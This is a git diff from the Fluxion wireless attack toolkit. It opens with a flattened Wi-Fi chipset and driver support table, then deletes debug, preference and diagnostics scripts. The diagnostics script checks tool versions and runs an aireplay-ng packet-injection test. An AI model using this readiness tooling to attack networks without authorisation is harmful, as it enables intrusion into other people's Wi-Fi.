BCM43235, BCM43236, BCM43238 -(chip revision dependent) - brcmfmac - y - ? - ? - ? - ? - n - n - USB 2.0 - patch adding support recently added -brcmfmac - (a)/b/g/n - - - Broadcom - BCM4326U - none - - - - - - - - USB 2.0 - - b/g - - - Broadcom - BCM4329 - brcmfmac - WEP, WPA, WPA2 - y - ? - ? - ? - n - n - SDIO - brcmfmac - a/b/g/n - - - Broadcom - BCM43224, BCM43225 - brcmsmac - WEP, WPA, WPA2 - y - ? - ? - ? - y - ? - PCIe - BCMA -brcmsmac - (a)/b/g/n - - - Conexant - - - - - - - - - - - - - - - Conexant - CX53111 - none - - - - - - - - SDIO - - b/g - - - Conexant - CX53822 - none - - - - - - - - CF - - (a)/b/g - - - Envara - WiND502/512 - none - - - - - - - - USB 2.0 - WiND512 (b/g) devices common - (a)/b/g - - - Inprocomm - IPN2120, IPN2220 - none - ? - - - - - - - PCI/CB - - b/(g) - - - Inprocomm - IPN2128 - none - ? - - - - - - - SDIO - - b - - - Intel - - - - - - - - - - - - - - - Intel - PRO/Wireless 2100B - ipw2100 - ? - y - y - n - n - y - ? - PCI - ipw2100 - b - - - Intel - PRO/Wireless 2200BG, 2915ABG - ipw2200 - WEP, WPA, WPA2 - y - y - oot - n - ? - ? - PCI - ipw2200 - (a)/b/g - - - Intel - PRO/Wireless 3945ABG - iwl3945 - WEP, WPA, WPA2 - y - y - n - n - y - y - PCI - iwl3945 - a/b/g - - - Intel - Wireless WiFi Link 4965AGN - iwl4965 - WEP, WPA, WPA2 - y - y - n - n - y - y - PCI - iwl4965 - a/b/g/n - - - Intel - WiFi Link 5100, 5150, 5300, 5350 - Centrino 100, 130, 1000, 1030, 6150, 6200, 6250, 6300 - iwlagn - WEP, WPA, WPA2 - y - y - n - n - y - y - PCI - iwlagn -iwlwifi - (a)/b/g/n - - - Intel - IWMC3200 (Evans Peak) - iwmc3200 - WEP, WPA, WPA2 - y - y - n - n - n - n - SDIO - iwmc3200 - a/b/g - - - Intersil - - - - - - - - - - - - - - - Intersil - PRISM 2/2.5/3 -PCI/CF/PCMCIA - hostap - ? - y - ? - y - n - y - y - PCI/CB /USB - hostap - b - - - Intersil - PRISM 2.5/3 USB - prism2_usb - WEP - y - ? - n - n - y - b - PCI/CB /USB - staging driver from linux-wlan-ng -prism2 usb - b - - - Intersil - ISL3877, ISL3880, -ISL3890, ISL3886 - p54pci - WEP, WPA, WPA2 - y - y - y - y - y - y - PCI/CB - p54pci - (a)/b/g - - - Intersil - ISL3880/ISL3886 -+ NET2280, ISL3887 - p54usb - WEP, WPA, WPA2 - y - y - y - y - y - y - USB 2.0 - p54usb - (a)/b/g - - - Lucent - HERMES I (WaveLAN -/IEEE/ORiNOCO) - orinoco - WEP, WPA-TKIP - y - y - n - n - y - oot - PCI/ PCMCIA/ USB 1.0 - no Bronze support -orinoco -orinoco usb - b - - - Marvell - - - - - - - - - - - - - - - Marvell -(Libertas) - 88W8310 - none - - - - - - - - PCI/CB - - b/g - - - Marvell -(Libertas) - 88W8335 - mrv8k - - - - - - - - PCI/CB - mrv8k - b/g - - - Marvell -(Libertas) - 88W8338 - none - - - - - - - - USB 2.0 - - b/g - - - Marvell -(Libertas) - 88W8385, -88W8388, 88W8686 - libertas - ? - y - y - n - n - n - n - USB/CF /SDIO - libertas - b/g - - - Marvell -(Libertas) - 88W8388 - libertas_tf - ? - y - n - y - ? - ? - ? - USB/CF /SDIO - OLPC XO-1, -supports mesh - b/g - - - Marvell -(TopDog) - 88W8360, 88W8361, -88W8362 (USB), -88W8362E, 88W8363 - none - - - - - - - - PCI/PCIe/ CB/USB2.0 - - (a)/b/g/n - - - Marvell -(TopDog/ -Avastar*) - 88W8366, 88W8863, -88W8687, 88W8764* - mwl8k - ? - y - ? - y - ? - y - ? - PCIe - mwl8k - (a)/b/g/n - - - Marvell -(Avastar) - 88W8797 (88W8786U) - mwifiex - ? - ? - ? - ? - ? - ? - ? - USB - 1286:2049 -mwifiex - a/b/g/n - - - Marvell -(Avastar) - 88W8786, 88W8787, -88W8797, 88W8897* - mwifiex - ? - ? - ? - ? - ? - ? - ? - SDIO - 02df:9139 -mwifiex - a/b/g/n (+ac)* - - - Marvell -(Avastar) - 88W8766, 88W8897* - mwifiex - ? - ? - ? - ? - ? - ? - ? - PCIe - 11ab:2b38 -mwifiex - a/b/g/n (+ac)* - - - Marvell -(Avastar) AC* - 88W8864*, 88W8897* - mwlwifi - ? - ? - ? - ? - ? - ? - ? - PCIe - iwlwifi -WRT1900 -iwlwifi - a/b/g/n (+ac)* - - - Marvell - unknown - mrvl_cb82 - - - - - - - - - - - - - MediaTek - - - - - - - - - - - - - - - MediaTek - MT5911N - none - - - - - - - - SDIO - - b/g - - - MediaTek - MT7601U - mt7601u - - - - - - - - USB - vendor driver - a/b/g/n - - - MediaTek - MT7610U - mt7601u - - - - - - - - USB - vendor driver - a/b/g/n (+ac)* - - - Metalink - MtW817x - none - - - - - - - - PCI - - a/(b)/(g)/n - - - No Wires Needed - Swallow - swallow_cs - WEP - y - ? - n - n - n - n - PCMCIA - obsolete out of kernel driver - b - - - No Wires Needed - Poldhu - poldhu - WEP - y - y - n - n - n - n - PCMCIA - obsolete out of kernel driver -poldhu cs - b - - - Ralink - - - - - - - - - - - - - - - Ralink - RT2460 - rt2400pci - ? - y - y - y - n - y - y - PCI/CB - - b - - - Ralink - RT2560 - rt2500pci - WEP, WPA, WPA2 - y - y - y - n - y - y - PCI/CB - - (a)/b/g - - - Ralink - RT2561, RT2561S, RT2661 - rt61pci - WEP, WPA, WPA2 - y - y - y - n - y - y - PCI/CB - - (a)/b/g - - - Ralink - RT2571, RT2572 - rt2500usb - WEP, WPA, WPA2 - y - y - y - n - y - y - USB 2.0 - - (a)/b/g - - - Ralink - RT2571W, RT2573, RT2671 - rt73usb - WEP, WPA, WPA2 - y - y - y - n - y - y - USB 2.0 - - (a)/b/g - - - Ralink - RT2760, RT2790, RT2860, RT2880, RT2890, RT3052, RT3090, RT3091, RT3092, RT3390, RT3060, RT3062, RT3562, RT3592, RT5390, RT3290 - rt2800pci - WEP, WPA, WPA2 - y - ? - y - ? - y - y - PCI/PCIe /CB - Wiki - (a)/b/g/n - - - Ralink - RT2760, RT2790, RT2860, RT2880, RT2890, RT3052, RT309x - rt2860sta - WEP, WPA, WPA2 - y - ? - y - ? - y - n - PCI/PCIe /CB - vendor driver - (a)/b/g/n - - - Ralink - RT2770, RT2870, RT2070, RT3070, RT3071, RT3072, RT3370, RT3572, RT5370, RT5572, RT8070 - rt2800usb - WEP, WPA, WPA2 - y - y - y - y (??) - y - y - USB 2.0 - Wiki - (a)b/g/(n) - - - Ralink - RT2770, RT2870, RT2070, RT307x - rt2870sta - WEP, WPA, WPA2 - y - ? - ? - n - n - n - USB 2.0 - vendor driver - (a)/b/g/(n) - - - Ralink - RT3572 - rt3572sta - WEP, WPA, WPA2 - y - ? - ? - ? - n - n - USB 2.0 - - a/b/g/n - - - Ralink - RT3573 - none - - - - - - - - USB 2.0 - three stream - a/b/g/n - - - Realtek - - - - - - - - - - - - - - - Realtek - RTL8180L, RTL8185L, -RTL8187SE (3.15+) - rtl8180 - WEP, WPA, WPA2 - y - n - n - n - y - ? - PCI/CB - - b/(g) - - - Realtek - RTL8187L, RTL8187B - rtl8187 - WEP, WPA, WPA2 - y - n - n - n - y - y - USB 2.0 - - b/g - - - Realtek - RTL8187SE - rtl8187se - WEP, WPA, WPA2 - y - ? - ? - ? - ? - ? - PCI - - b/g - - - Realtek - RTL8190 - r8190_pci - ? - ? - ? - ? - ? - ? - ? - PCI -/ CB - vendor driver - b/g/n - - - Realtek - RTL8192E - r8192e_pci - WEP, WPA, WPA2 - y - ? - ? - ? - ? - ? - PCIe - staging (vendor) driver - (a)/b/g/n - - - Realtek - RTL8191SE, RTL8192SE - rtl8192se - WEP, WPA, WPA2 - y - ? - ? - ? - ? - ? - PCIe - - b/g/n - - - Realtek - RTL8192U - r8192u_usb - WEP, WPA, WPA2 - y - ? - ? - ? - ? - ? - USB 2.0 - staging (vendor) driver - b/g/n - - - Realtek - RTL8188SU, RTL8191SU, RTL8192SU - r8712u - WEP, WPA, WPA2 - y - ? - ? - ? - ? - n - USB 2.0 - staging (vendor) driver - b/g/n - - - Realtek - RTL8188SU, RTL8191SU, RTL8192SU - r8192s_usb - WEP, WPA, WPA2 - y - ? - ? - ? - y - ? - USB 2.0 - staging (vendor) driver, superseded by r8712u - b/g/n - - - Realtek - RTL8188CE, RTL8192CE - rtl8192ce - WEP, WPA, WPA2 - y - ? - ? - ? - ? - n - PCIe - - b/g/n - - - Realtek - RTL8188CUS, RTL8192CU, RTL8188RU - rtl8192cu - WEP, WPA, WPA2 - y - y - n - ? - y - n - USB 2.0 - - b/g/n - - - Realtek - RTL8192DU - rtl8192du - WEP, WPA, WPA2 - y - ? - ? - ? - ? - ? - USB 2.0 - driver available here, may panic on init on some kernels - a/b/g/n - - - Realtek - RTL8192DE - rtl8192de - WEP, WPA, WPA2 - y - ? - ? - ? - ? - n - PCIe - - a/b/g/n - - - Renesas - - - - - - - - - - - - - - - Renesas - KS7010 - ks7010 - ? - ? - ? - ? - ? - ? - ? - SDIO - from Javi Roman - b - - - ShareWave / Cirrus Logic - Bodega - none - - - - - - - - PCI/ PCMCIA/ USB 1.0 - rare devices, support the proprietary Whitecap protocol - b - - - SiS - 160 - sis160 - ? - y - ? - n - n - n - n - PCI - rare devices, driver is a useless binary blob - b - - - SiS - 162, 162U - sis162 - ? - y - y - n - n - n - n - PCI/ USB 2.0 - driver is a useless binary blob - b - - - SiS - 163, 163U - none - - - - - - - - PCI/CF/ USB 2.0 - - b/g - - - ST-Ericsson - CW1100, CW1200 - cw1200 - - - - - - - - SDIO -/ PCI - (since 3.11) - b/g - - - ST-NXP - STLC4560 - p54spi - WEP, WPA, WPA2 - y - y - y - y - y - y - SPI - - b/g - - - Symbol - Spectrum24 DS - orinoco - WEP - y - ? - n - n - y - n - PCI/ PCMCIA - orinoco - b - - - Syntek/3DSP - unknown -(Bluew-2310x) - none - ? - - - - - - - PCI - compiled modules available - b/g - - - Syntek/3DSP - STK9100+STK9230 -(Bluew-2310u) - 3dspusbwlan - ? - - - - - - - USB 2.0 - partial source? - b/g - - - Texas Instruments - - - - - - - - - - - - - - - Texas Instruments - ACX100 (TNETW1100), ACX101 (TNETW1100B), ACX111 (TNETW1130), TNETW1450 - acx1xx - WEP, WPA, WPA2 - y - ? - n - n - y - ? - PCI/CB /USB - acx100 -acx - b/(g) - - - Texas Instruments - WL1251 - wl1251 - WEP, WPA, WPA2 - y - y - n - ? - y - ? - SPI/ SDIO - - b/g - - - Texas Instruments - WL1271 - wl1271 - WEP, WPA, WPA2 - y - y - y - n - n - n - SPI/ SDIO - - (a)/b/g/n - - - VIA - VT6551 - none - ? - ? - ? - ? - ? - ? - ? - PCI - - b - - - VIA - VT6555 - vt6655 - ? - y - ? - ? - ? - ? - n - PCI - staging (vendor) driver -vt6656 - (a)/b/g - - - VIA - VT6556 - vt6656 - ? - y - ? - ? - ? - ? - n - PCI - staging (vendor) driver -vt6656 - (a)/b/g - - - WavePlus - WP1200 - none - - - - - - - - PCI/ PCMCIA - devices not common - b - - - Winbond - W89C33D - none - - - - - - - - PCI - devices not common - b/g - - - Winbond - W89C35D - winbond - ? - y - ? - n - n - n - n - USB 2.0 - staging (vendor) driver only supports 'b' -w35und - b/g - - - ZyDAS - - - - - - - - - - - - - - - ZyDAS - ZD1201 - zd1201 - WEP - y - ? - ? - ? - y - ? - USB 1.0 - zd1201 - b - - - ZyDAS - ZD1201 - zdsta - WEP - y - ? - ? - ? - ? - n - USB 1.0 - obsolete vendor driver - b - - - ZyDAS - ZD1201 - zdsta - WEP - y - ? - ? - ? - ? - n - PCMCIA - obsolete vendor driver, devices not common - b - - - ZyDAS - ZD1202 - zdsta - WEP - - - - - - n - PCI/CB/ PCMCIA - obsolete vendor driver, devices not common - b - - - ZyDAS - ZD1211/ZD1211B - zd1211rw - WEP, WPA, WPA2 - y - y - y - y - y - y - USB 1.0 - 5GHz band not supported, no hw crypto -zd1211rw - (a)/b/g - - - ZyDAS - ZD1212/ZD1212B - zd1212 - WEP, WPA, WPA2 - y - y - y - - - n - PCI/CB - obsolete vendor driver, devices not common - (a)/b/g - - - Manufacturer - Chipset - Driver - Station - Ad-hoc - AP - Monitor - Bus - Notes - - - - PHY Modes - - - Aironet - ARLAN - arlan - ? - ? - ? - ? - ISA - driver abandoned - - - - pre-b (900MHz or 2.4GHz) - - - Lucent - WaveLAN - wavelan - ? - ? - ? - ? - PCMCIA/ISA - driver abandoned - - - - pre-b (900MHz or 2.4GHz) - - - Raytheon - Raylink - ray_cs - ? - ? - ? - ? - PCMCIA - USB variants not supported - - - - 2.4GHz FHSS - - - ShareWave - chipset before -Bodega (Epic?) - none - - - - - PCI/PCMCIA - uncommon devices - - - - Whitecap - - - Symbol - Spectrum24 FHSS - none - - - - - PCMCIA - - - - - 2.4GHz FHSS - - - Xircom - Netwave - netwave_cs - ? - ? - ? - ? - PCMCIA - driver abandoned - - - - pre-b, 1Mb - - - AMD - Am79C930 -(presumably) - wl3501_cs - ? - ? - ? - ? - PCMCIA - PRISM I based RF - - - - 2Mb, pre-802.11b - - \ No newline at end of file diff --git a/fluxion_origins/preferences/.gitkeep b/fluxion_origins/preferences/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/fluxion_origins/scripts/debug.sh b/fluxion_origins/scripts/debug.sh deleted file mode 100755 index 8fd182c..0000000 --- a/fluxion_origins/scripts/debug.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/usr/bin/env bash - -# These are the debug flags used by the script -export FLUXIONDebug=1 -export FLUXIONWIKillProcesses=1 -export FLUXIONWIReloadDriver=1 diff --git a/fluxion_origins/scripts/diagnostics.sh b/fluxion_origins/scripts/diagnostics.sh deleted file mode 100755 index cfec711..0000000 --- a/fluxion_origins/scripts/diagnostics.sh +++ /dev/null @@ -1,101 +0,0 @@ -#!/usr/bin/env bash - -clear -declare -r HEADER_SIZE="####" - -# Diagnostic script - -if [ -d "lib" ];then - source lib/InterfaceUtils.sh -elif [ -d "../lib" ];then - source ../lib/InterfaceUtils.sh -else - echo -e "\033[31mError lib folder not found\033[0m" - exit 1 -fi - -if [ ! "$1" ]; then - echo "Usage ./scripts/diagnostics [wireless_interface]" - exit 1 -fi - -echo "$HEADER_SIZE FLUXION Info" -if [ -f "fluxion.sh" ];then - declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion.sh)) -else - declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion.sh)) -fi -echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}" -echo -ne "\n\n" - -echo "$HEADER_SIZE BASH Info " -bash --version -echo "**Path:** $(ls -L $(which bash))" -echo -ne "\n\n" - -echo "$HEADER_SIZE Interface ($1) Info " -if interface_physical "$1";then - echo "**Device**: $InterfacePhysical" -else - echo "**Device:** Unknown" -fi - -if interface_driver "$1";then - echo "**Driver:** $InterfaceDriver" -else - echo "**Driver:** Unsupported" -fi - -if interface_chipset "$1";then - echo "**Chipset:** $InterfaceChipset" -else - echo "**Chipset:** Unknown" -fi - -if iw list | grep monitor | head -n 1 | tail -n 1 &>/dev/null;then - echo "**Master Modes** Yes" -else - echo "**Master Modes** No" -fi - -echo -n "**Injection Test:** " -aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo -e "\033[31mFailed\033[0m" -echo -ne "\n\n" - -echo "$HEADER_SIZE XTerm Infos" -echo "**Version:** $(xterm -version)" -echo "**Path:** $(ls -L $(which xterm))" -echo -n "Test: " -if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!" -else - echo -e "\033[31m XServer/XTerm failure!\033[0m" -fi -echo -ne "\n\n" - -echo "$HEADER_SIZE HostAPD Info" -hostapd -v -echo "Path: $(ls -L $(which hostapd))" -echo -ne "\n\n" - -echo "$HEADER_SIZE Aircrack-ng Info" -aircrack-ng -H | head -n 4 -echo -ne "\n" - -echo "$HEADER_SIZE Pyrit Info" -scapyver=$(python2 -c "import scapy; print(scapy.VERSION)") -pyrit | head -n 3 -echo "**Scapy Version:** ${scapyver}" - -if [[ "$scapyver" != 2.3.? ]]; then - echo -e "\033[31mWarning: Pyrit has been reported to be incompatible with scapy version 2.4.0. Consult the wiki for further information. This should not affect you, if you don't choose to use pyrit in the script.\033[0m" -fi - -echo -ne "\n" - -# System info -echo "$HEADER_SIZE System Info" -if [ -r "/proc/version" ]; then - echo "**Chipset:** $(cat /proc/version)" -else - echo "**Chipset:** $(uname -r)" -fi diff --git a/fluxion_origins/scripts/preferences.sh b/fluxion_origins/scripts/preferences.sh deleted file mode 100755 index 5d2674c..0000000 --- a/fluxion_origins/scripts/preferences.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/usr/bin/env bash - -# export FLUXIONAuto=1 -# export FLUXIONDebug=1 -# export FLUXIONWIKillProcesses=1 -# export FLUXIONWIReloadDriver=1 diff --git a/fluxion_origins/misc/README.md b/misc/README.md similarity index 100% rename from fluxion_origins/misc/README.md rename to misc/README.md diff --git a/fluxion_origins/misc/check_device.sh b/misc/check_device.sh similarity index 100% rename from fluxion_origins/misc/check_device.sh rename to misc/check_device.sh diff --git a/fluxion_origins/misc/devices.json b/misc/devices.json similarity index 100% rename from fluxion_origins/misc/devices.json rename to misc/devices.json